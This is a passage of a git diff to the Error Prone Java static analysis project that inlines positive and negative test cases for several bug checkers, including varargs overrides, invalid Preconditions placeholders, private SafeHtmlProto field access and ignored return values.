arrayMethod(int x, Object[] xs); + } + + abstract class Child1 extends Base { + @Override + // BUG: Diagnostic contains: abstract void arrayMethod(int x, Object[] newNames); + abstract void arrayMethod(int x, Object... newNames); + } + + abstract class Child2 extends Base { + @Override + // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); + abstract void varargsMethod(Object[] xs); + } + + abstract class Child3 extends Base { + @Override + // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); + abstract void varargsMethod(Object[] xs); + } + + abstract class Child4 extends Base { + @Override + // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); + abstract void varargsMethod(Object[] xs); + } + + abstract class Child5 extends Base { + @Override + // BUG: Diagnostic contains: Varargs + abstract void varargsMethod(Object[ /**/] xs); + } + + interface Interface { + void varargsMethod(Object... xs); + + void arrayMethod(Object[] xs); + } + + abstract class ImplementsInterface implements Interface { + @Override + // BUG: Diagnostic contains: + public abstract void varargsMethod(Object[] xs); + + @Override + // BUG: Diagnostic contains: + public abstract void arrayMethod(Object... xs); + } + + abstract class MyBase { + abstract void f(Object... xs); + + abstract void g(Object[] xs); + } + + interface MyInterface { + void f(Object[] xs); + + void g(Object... xs); + } + + abstract class ImplementsAndExtends extends MyBase implements MyInterface { + // BUG: Diagnostic contains: + public abstract void f(Object... xs); + // BUG: Diagnostic contains: + public abstract void g(Object[] xs); + } + + abstract class ImplementsAndExtends2 extends MyBase implements MyInterface { + // BUG: Diagnostic contains: + public abstract void f(Object[] xs); + // BUG: Diagnostic contains: + public abstract void g(Object... xs); + } +}""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * This tests the case where there is a chain of method overrides where the varargs constraint is + * not met, and the root is a varargs parameter. TODO(cushon): The original implementation tried to + * be clever and make this consistent, but didn't handle multiple interface inheritance. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase2 { + abstract class Base { + abstract void varargsMethod(Object... xs); + } + + abstract class SubOne extends Base { + @Override + // BUG: Diagnostic contains: + abstract void varargsMethod(Object[] newNames); + } + + abstract class SubTwo extends SubOne { + @Override + // BUG: Diagnostic contains: + abstract void varargsMethod(Object... xs); + } + + abstract class SubThree extends SubTwo { + @Override + // BUG: Diagnostic contains: + abstract void varargsMethod(Object[] newNames); + } +}""") + .doTest(); } @Test public void positiveCase3() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase3.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase3.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * This tests the case where there is a chain of method overrides where the varargs constraint is + * not met, and the root has an array parameter. TODO(cushon): The original implementation tried to + * be clever and make this consistent, but didn't handle multiple interface inheritance. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase3 { + abstract class Base { + abstract void arrayMethod(Object[] xs); + } + + abstract class SubOne extends Base { + @Override + // BUG: Diagnostic contains: + abstract void arrayMethod(Object... newNames); + } + + abstract class SubTwo extends SubOne { + @Override + // BUG: Diagnostic contains: + abstract void arrayMethod(Object[] xs); + } + + abstract class SubThree extends SubTwo { + @Override + // BUG: Diagnostic contains: + abstract void arrayMethod(Object... newNames); + } +}""") + .doTest(); } @Test public void positiveCase4() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase4.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase4.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Map; + +/** + * Test that the suggested fix is correct in the presence of whitespace, comments. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase4 { + + @interface Note { } + + abstract class Base { + abstract void varargsMethod(@Note final Map... xs); + abstract void arrayMethod(@Note final Map[] xs); + } + + abstract class Child1 extends Base { + @Override + // BUG: Diagnostic contains: (@Note final Map /* asd */ [] /* dsa */ xs); + abstract void arrayMethod(@Note final Map /* asd */ ... /* dsa */ xs); + } + + abstract class Child2 extends Base { + @Override + //TODO(cushon): improve testing infrastructure so we can enforce that no fix is suggested. + // BUG: Diagnostic contains: Varargs + abstract void varargsMethod(@Note final Map /*dsa*/ [ /* [ */ ] /* dsa */ xs); + } +}""") + .doTest(); } @Test public void positiveCase5() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase5.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase5.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase5 { + + abstract class Base { + abstract void varargsMethod(Object[] xs, Object... ys); + + abstract void arrayMethod(Object[] xs, Object[] ys); + } + + abstract class Child1 extends Base { + @Override + // BUG: Diagnostic contains: Did you mean 'abstract void arrayMethod(Object[] xs, Object[] ys);' + abstract void arrayMethod(Object[] xs, Object... ys); + + @Override + // BUG: Diagnostic contains: Did you mean 'abstract void varargsMethod(Object[] xs, Object... + // ys);' + abstract void varargsMethod(Object[] xs, Object[] ys); + + void foo(Base base) { + base.varargsMethod(null, new Object[] {}, new Object[] {}, new Object[] {}, new Object[] {}); + } + } +}""") + .doTest(); } @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/OverridesNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesNegativeCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesNegativeCase1 { + abstract class Base { + abstract void varargsMethod(Object... xs); + + abstract void arrayMethod(Object[] xs); + } + + abstract class Child1 extends Base { + @Override + abstract void varargsMethod(final Object... newNames); + } + + abstract class Child2 extends Base { + @Override + abstract void arrayMethod(Object[] xs); + } + + static class StaticClass { + static void staticVarargsMethod(Object... xs) {} + + static void staticArrayMethod(Object[] xs) {} + } + + interface Interface { + void varargsMethod(Object... xs); + + void arrayMethod(Object[] xs); + } + + abstract class ImplementsInterface implements Interface { + public abstract void varargsMethod(Object... xs); + + public abstract void arrayMethod(Object[] xs); + } +} + +// Varargs methods might end up overriding synthetic (e.g. bridge) methods, which will have already +// been lowered into a non-varargs form. Test that we don't report errors when a varargs method +// overrides a synthetic non-varargs method: + +abstract class One { + static class Builder { + Builder varargsMethod(String... args) { + return this; + } + } +} + +class Two extends One { + static class Builder extends One.Builder { + @Override + public Builder varargsMethod(String... args) { + super.varargsMethod(args); + return this; + } + } +} + +class Three extends Two { + static class Builder extends Two.Builder { + @Override + public Builder varargsMethod(String... args) { + super.varargsMethod(args); + return this; + } + } +}""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/OverridesNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class OverridesNegativeCase2 { + abstract class Base { + abstract void varargsMethod(Object... xs); + } + + abstract class SubOne extends Base { + @Override + abstract void varargsMethod(Object... newNames); + } + + abstract class SubTwo extends SubOne { + @Override + abstract void varargsMethod(Object... xs); + } + + abstract class SubThree extends SubTwo { + @Override + abstract void varargsMethod(Object... newNames); + } + }""") + .doTest(); } @Test public void negativeCase3() { - compilationHelper.addSourceFile("testdata/OverridesNegativeCase3.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesNegativeCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class OverridesNegativeCase3 { + abstract class Base { + abstract void arrayMethod(Object[] xs); + } + + abstract class SubOne extends Base { + @Override + abstract void arrayMethod(Object[] xs); + } + + abstract class SubTwo extends SubOne { + @Override + abstract void arrayMethod(Object[] xs); + } + + abstract class SubThree extends SubTwo { + @Override + abstract void arrayMethod(Object[] xs); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java index ee2ed802341..8b3ef393a36 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java @@ -32,14 +32,70 @@ public class PreconditionsInvalidPlaceholderTest { @Test public void positiveCase1() { compilationHelper - .addSourceFile("testdata/PreconditionsInvalidPlaceholderPositiveCase1.java") + .addSourceLines( + "PreconditionsInvalidPlaceholderPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkArgument; + + import com.google.common.base.Preconditions; + import com.google.common.base.Verify; + + public class PreconditionsInvalidPlaceholderPositiveCase1 { + int foo; + + public void checkPositive(int x) { + // BUG: Diagnostic contains: %s > 0 + checkArgument(x > 0, "%d > 0", x); + } + + public void checkFoo() { + // BUG: Diagnostic contains: foo must be equal to 0 but was %s + Preconditions.checkState(foo == 0, "foo must be equal to 0 but was {0}", foo); + } + + public void verifyFoo(int x) { + // BUG: Diagnostic contains: + Verify.verify(x > 0, "%d > 0", x); + } + }""") .doTest(); } @Test public void negativeCase1() { compilationHelper - .addSourceFile("testdata/PreconditionsInvalidPlaceholderNegativeCase1.java") + .addSourceLines( + "PreconditionsInvalidPlaceholderNegativeCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.base.Preconditions.checkArgument; + +import com.google.common.base.Preconditions; + +public class PreconditionsInvalidPlaceholderNegativeCase1 { + Integer foo; + + public void checkPositive(int x) { + checkArgument(x > 0, "%s > 0", x); + } + + public void checkTooFewArgs(int x) { + checkArgument(x > 0, "%s %s", x); + } + + public void checkFoo() { + Preconditions.checkState(foo.intValue() == 0, "foo must be equal to 0 but was %s", foo); + } + + public static void checkNotNull(Object foo, String bar, Object baz) {} + + public void checkSelf() { + checkNotNull(foo, "Foo", this); + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java index d58c9f2fcfc..a67618f4c03 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java @@ -33,14 +33,70 @@ public class PrimitiveArrayPassedToVarargsMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java") + .addSourceLines( + "PrimitiveArrayPassedToVarargsMethodPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Arrays; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class PrimitiveArrayPassedToVarargsMethodPositiveCases { + + public void objectVarargsMethod(Object... objs) {} + + public void genericVarargsMethod(T... genericArrays) {} + + public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} + + public void doIt() { + int[] intArray = {1, 2, 3}; + + // BUG: Diagnostic contains: + objectVarargsMethod(intArray); + + // BUG: Diagnostic contains: + genericVarargsMethod(intArray); + + // BUG: Diagnostic contains: + objectVarargsMethodWithMultipleParams(new Object(), intArray); + + // BUG: Diagnostic contains: + Arrays.asList(intArray); + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java") + .addSourceLines( + "PrimitiveArrayPassedToVarargsMethodNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class PrimitiveArrayPassedToVarargsMethodNegativeCases { + + public void intVarargsMethod(int... ints) {} + + public void intArrayVarargsMethod(int[]... intArrays) {} + + public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} + + public void doIt() { + int[] intArray = {1, 2, 3}; + + intVarargsMethod(intArray); + intArrayVarargsMethod(intArray); + objectVarargsMethodWithMultipleParams(new Object()); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java index 95197c994d4..7a79cb14f02 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java @@ -29,14 +29,93 @@ public class PrivateSecurityContractProtoAccessTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/PrivateSecurityContractProtoAccessPositiveCases.java") + .addSourceLines( + "PrivateSecurityContractProtoAccessPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.html.types.SafeHtmlProto; +import com.google.protobuf.ByteString; + +public class PrivateSecurityContractProtoAccessPositiveCases { + static SafeHtmlProto safeHtmlProto; + + static { + safeHtmlProto = + SafeHtmlProto.newBuilder() + // BUG: Diagnostic contains: Forbidden access to a private proto field + .clearPrivateDoNotAccessOrElseSafeHtmlWrappedValue() + // BUG: Diagnostic contains: Forbidden access to a private proto field + .setPrivateDoNotAccessOrElseSafeHtmlWrappedValue("foo") + .build(); + } + + static SafeHtmlProto safeHtmlProtoFromBytes; + + static { + safeHtmlProtoFromBytes = + SafeHtmlProto.newBuilder() + // BUG: Diagnostic contains: Forbidden access to a private proto field + .setPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(ByteString.copyFromUtf8("foo")) + .build(); + } + + static String readSafeHtmlProto(SafeHtmlProto safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); + } + return ""; + } + + static ByteString readSafeHtmlProtoBytes(SafeHtmlProto safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); + } + + static String readSafeHtmlProtoBuilder(SafeHtmlProto.Builder safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); + } + return ""; + } + + static ByteString readSafeHtmlProtoBuilderBytes(SafeHtmlProto.Builder safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/PrivateSecurityContractProtoAccessNegativeCases.java") + .addSourceLines( + "PrivateSecurityContractProtoAccessNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.html.types.SafeHtml; + import com.google.common.html.types.SafeHtmlProto; + import com.google.common.html.types.SafeHtmls; + + public class PrivateSecurityContractProtoAccessNegativeCases { + static SafeHtmlProto safeHtmlProto; + + static { + safeHtmlProto = SafeHtmls.toProto(SafeHtml.EMPTY); + } + + static SafeHtml safeHtml; + + static { + safeHtml = SafeHtmls.fromProto(safeHtmlProto); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java index 118a4ba1e8f..6c0c00ef394 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java @@ -34,11 +34,60 @@ public class ProtocolBufferOrdinalTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ProtocolBufferOrdinalPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ProtocolBufferOrdinalPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; + + /** Positive test cases for {@link ProtocolBufferOrdinal} check. */ + public class ProtocolBufferOrdinalPositiveCases { + + public static void checkCallOnOrdinal() { + // BUG: Diagnostic contains: ProtocolBufferOrdinal + TestEnum.TEST_ENUM_VAL.ordinal(); + + // BUG: Diagnostic contains: ProtocolBufferOrdinal + ProtoLiteEnum.FOO.ordinal(); + } + + enum ProtoLiteEnum implements com.google.protobuf.Internal.EnumLite { + FOO(1), + BAR(2); + private final int number; + + private ProtoLiteEnum(int number) { + this.number = number; + } + + @Override + public int getNumber() { + return number; + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ProtocolBufferOrdinalNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ProtocolBufferOrdinalNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; + + /** Negative test cases for {@link ProtocolBufferOrdinal} check. */ + public class ProtocolBufferOrdinalNegativeCases { + + public static void checkProtoEnum() { + TestEnum.TEST_ENUM_VAL.getNumber(); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java index f905f3a1280..6a75bd876c6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java @@ -37,8 +37,90 @@ public RestrictedApiCheckerTest() { protected RestrictedApiCheckerTest(Class checker) { helper = CompilationTestHelper.newInstance(checker, RestrictedApiCheckerTest.class) - .addSourceFile("testdata/Allowlist.java") - .addSourceFile("testdata/RestrictedApiMethods.java") + .addSourceLines( + "Allowlist.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.lang.annotation.ElementType; + import java.lang.annotation.Target; + + @Target({ElementType.METHOD, ElementType.CONSTRUCTOR}) + public @interface Allowlist {}""") + .addSourceLines( + "RestrictedApiMethods.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.RestrictedApi; +import java.lang.annotation.ElementType; +import java.lang.annotation.Target; + +/** Example for {@link com.google.errorprone.bugpatterns.RestrictedApiCheckerTest}. */ +public class RestrictedApiMethods implements IFaceWithRestriction { + + public int normalMethod() { + return 0; + } + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "") + public RestrictedApiMethods() {} + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "") + public RestrictedApiMethods(int restricted) {} + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "", + allowedOnPath = ".*testsuite/.*") + public int restrictedMethod() { + return 1; + } + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "") + public static int restrictedStaticMethod() { + return 2; + } + + @Override + public void dontCallMe() {} + + public static class Subclass extends RestrictedApiMethods { + @Allowlist + public Subclass(int restricted) { + super(restricted); + } + + @Override + public int restrictedMethod() { + return 42; + } + } + + public static void accept(Runnable r) {} +} + +interface IFaceWithRestriction { + @RestrictedApi(explanation = "ipsum", link = "nothing") + void dontCallMe(); +} + +@Target({ElementType.METHOD, ElementType.CONSTRUCTOR}) +@interface AllowlistWithWarning {}""") .matchAllDiagnostics(); refactoringTest = BugCheckerRefactoringTestHelper.newInstance(checker, RestrictedApiCheckerTest.class); diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java index 79f3efde672..6601707e09b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java @@ -31,16 +31,119 @@ public class RethrowReflectiveOperationExceptionAsLinkageErrorTest { @Test public void positive() { testHelper - .addSourceFile( - "testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java") + .addSourceLines( + "RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases { + void assertionErrorExceptionConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + // BUG: Diagnostic contains: throw new LinkageError(e.getMessage(), e); + throw new AssertionError(e); + } + } + + void assertionErrorStringConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + // BUG: Diagnostic contains: throw new LinkageError("Test", e); + throw new AssertionError("Test", e); + } + } + + void assertionErrorStringFormatConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + // BUG: Diagnostic contains: throw new LinkageError(String.format("Test"), e); + throw new AssertionError(String.format("Test"), e); + } + } + + void multiLineCatchBlock() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e1) { + int a = 100; + if (a < 100) { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e2) { + // BUG: Diagnostic contains: throw new LinkageError(e2.getMessage(), e2); + throw new AssertionError(e2); + } + } + // BUG: Diagnostic contains: throw new LinkageError(e1.getMessage(), e1); + throw new AssertionError(e1); + } + } + }""") .doTest(); } @Test public void negative() { testHelper - .addSourceFile( - "testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java") + .addSourceLines( + "RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + + public class RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases { + void assertionErrorNonStringConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + throw new AssertionError(1); + } + } + + void assertionErrorNoArgConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + throw new AssertionError(); + } + } + + void noThrowAssertionError() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException(e); + } + } + + void noCatchReflectiveOperationException() { + try { + throw new ReflectiveOperationException(); + } catch (Exception e) { + throw new AssertionError(e); + } + } + + void multiCatchExceptions() { + try { + int a = 100; + if (a < 100) { + throw new IOException("Test"); + } + throw new ReflectiveOperationException(); + } catch (IOException | ReflectiveOperationException e) { + throw new AssertionError(e); + } + } + + void throwNewReflectiveOperationException() { + throw new AssertionError(new ReflectiveOperationException("Test")); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java index ddec11740d6..2d573fd9f8f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java @@ -34,12 +34,224 @@ public class ReturnValueIgnoredTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/ReturnValueIgnoredPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ReturnValueIgnoredPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + import java.math.BigDecimal; + import java.math.BigInteger; + import java.nio.file.Path; + import java.nio.file.Paths; + import java.util.Arrays; + import java.util.Locale; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class ReturnValueIgnoredPositiveCases { + String a = "thing"; + + // BUG: Diagnostic contains: Return value of 'valueOf' must be used + private Runnable r = () -> String.valueOf(""); + + { // String methods + // BUG: Diagnostic contains: remove this line + String.format("%d", 10); + // BUG: Diagnostic contains: remove this line + String.format("%d", 10).trim(); + // BUG: Diagnostic contains: remove this line + java.lang.String.format("%d", 10).trim(); + // BUG: Diagnostic contains: a = a.intern() + a.intern(); + // BUG: Diagnostic contains: a = a.trim() + a.trim(); + // BUG: Diagnostic contains: a = a.trim().concat("b") + a.trim().concat("b"); + // BUG: Diagnostic contains: a = a.concat("append this") + a.concat("append this"); + // BUG: Diagnostic contains: a = a.replace('t', 'b') + a.replace('t', 'b'); + // BUG: Diagnostic contains: a = a.replace("thi", "fli") + a.replace("thi", "fli"); + // BUG: Diagnostic contains: a = a.replaceAll("i", "b") + a.replaceAll("i", "b"); + // BUG: Diagnostic contains: a = a.replaceFirst("a", "b") + a.replaceFirst("a", "b"); + // BUG: Diagnostic contains: a = a.toLowerCase() + a.toLowerCase(); + // BUG: Diagnostic contains: a = a.toLowerCase(Locale.ENGLISH) + a.toLowerCase(Locale.ENGLISH); + // BUG: Diagnostic contains: a = a.toUpperCase() + a.toUpperCase(); + // BUG: Diagnostic contains: a = a.toUpperCase(Locale.ENGLISH) + a.toUpperCase(Locale.ENGLISH); + // BUG: Diagnostic contains: a = a.substring(0) + a.substring(0); + // BUG: Diagnostic contains: a = a.substring(0, 1) + a.substring(0, 1); + } + + StringBuffer sb = new StringBuffer("hello"); + + { + // BUG: Diagnostic contains: + sb.toString().trim(); + } + + BigInteger b = new BigInteger("123456789"); + + { // BigInteger methods + // BUG: Diagnostic contains: b = b.add(new BigInteger("3")) + b.add(new BigInteger("3")); + // BUG: Diagnostic contains: b = b.abs() + b.abs(); + // BUG: Diagnostic contains: b = b.shiftLeft(3) + b.shiftLeft(3); + // BUG: Diagnostic contains: b = b.subtract(BigInteger.TEN) + b.subtract(BigInteger.TEN); + } + + BigDecimal c = new BigDecimal("1234.5678"); + + { // BigDecimal methods + // BUG: Diagnostic contains: c = c.add(new BigDecimal("1.3")) + c.add(new BigDecimal("1.3")); + // BUG: Diagnostic contains: c = c.abs() + c.abs(); + // BUG: Diagnostic contains: c = c.divide(new BigDecimal("4.5")) + c.divide(new BigDecimal("4.5")); + // BUG: Diagnostic contains: + new BigDecimal("10").add(c); + } + + Path p = Paths.get("foo/bar/baz"); + + { // Path methods + // BUG: Diagnostic contains: p = p.getFileName(); + p.getFileName(); + // BUG: Diagnostic contains: p = p.getName(0); + p.getName(0); + // BUG: Diagnostic contains: p = p.getParent(); + p.getParent(); + // BUG: Diagnostic contains: p = p.getRoot(); + p.getRoot(); + // BUG: Diagnostic contains: p = p.normalize(); + p.normalize(); + // BUG: Diagnostic contains: p = p.relativize(p); + p.relativize(p); + // BUG: Diagnostic contains: p = p.resolve(p); + p.resolve(p); + // BUG: Diagnostic contains: p = p.resolve("string"); + p.resolve("string"); + // BUG: Diagnostic contains: p = p.resolveSibling(p); + p.resolveSibling(p); + // BUG: Diagnostic contains: p = p.resolveSibling("string"); + p.resolveSibling("string"); + // BUG: Diagnostic contains: p = p.subpath(0, 1); + p.subpath(0, 1); + // BUG: Diagnostic contains: p = p.toAbsolutePath(); + p.toAbsolutePath(); + try { + // BUG: Diagnostic contains: p = p.toRealPath(); + p.toRealPath(); + } catch (IOException e) { + } + } + + int[] numbers = {5, 4, 3, 2, 1}; + Object[] objects = {new Object(), new Object()}; + + { // Arrays methods + // BUG: Diagnostic contains: Return value of 'asList' must be used + Arrays.asList(5, 4, 3, 2, 1); + // BUG: Diagnostic contains: Return value of 'binarySearch' must be used + Arrays.binarySearch(numbers, 3); + // BUG: Diagnostic contains: Return value of 'copyOf' must be used + Arrays.copyOf(numbers, 3); + // BUG: Diagnostic contains: Return value of 'copyOfRange' must be used + Arrays.copyOfRange(numbers, 1, 3); + // BUG: Diagnostic contains: Return value of 'deepEquals' must be used + Arrays.deepEquals(objects, objects); + // BUG: Diagnostic contains: Return value of 'deepHashCode' must be used + Arrays.deepHashCode(objects); + // BUG: Diagnostic contains: Return value of 'deepToString' must be used + Arrays.deepToString(objects); + // BUG: Diagnostic contains: Return value of 'equals' must be used + Arrays.equals(objects, objects); + // BUG: Diagnostic contains: Return value of 'hashCode' must be used + Arrays.hashCode(objects); + // BUG: Diagnostic contains: Return value of 'toString' must be used + Arrays.toString(objects); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ReturnValueIgnoredNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ReturnValueIgnoredNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.math.BigInteger; + import java.util.Arrays; + import java.util.HashMap; + import java.util.Map; + import java.util.function.Function; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class ReturnValueIgnoredNegativeCases { + + private String a = "thing"; + + { + String b = a.trim(); + System.out.println(a.trim()); + new String(new BigInteger(new byte[] {0x01}).add(BigInteger.ONE).toString()); + } + + String run() { + return a.trim(); + } + + public void methodDoesntMatch() { + Map map = new HashMap(); + map.put("test", 1); + } + + public void methodDoesntMatch2() { + final String b = a.toString().trim(); + } + + public void acceptFunctionOfVoid(Function arg) { + arg.apply(5); + } + + public void passReturnValueCheckedMethodReferenceToFunctionVoid() { + Function fn = (i -> null); + 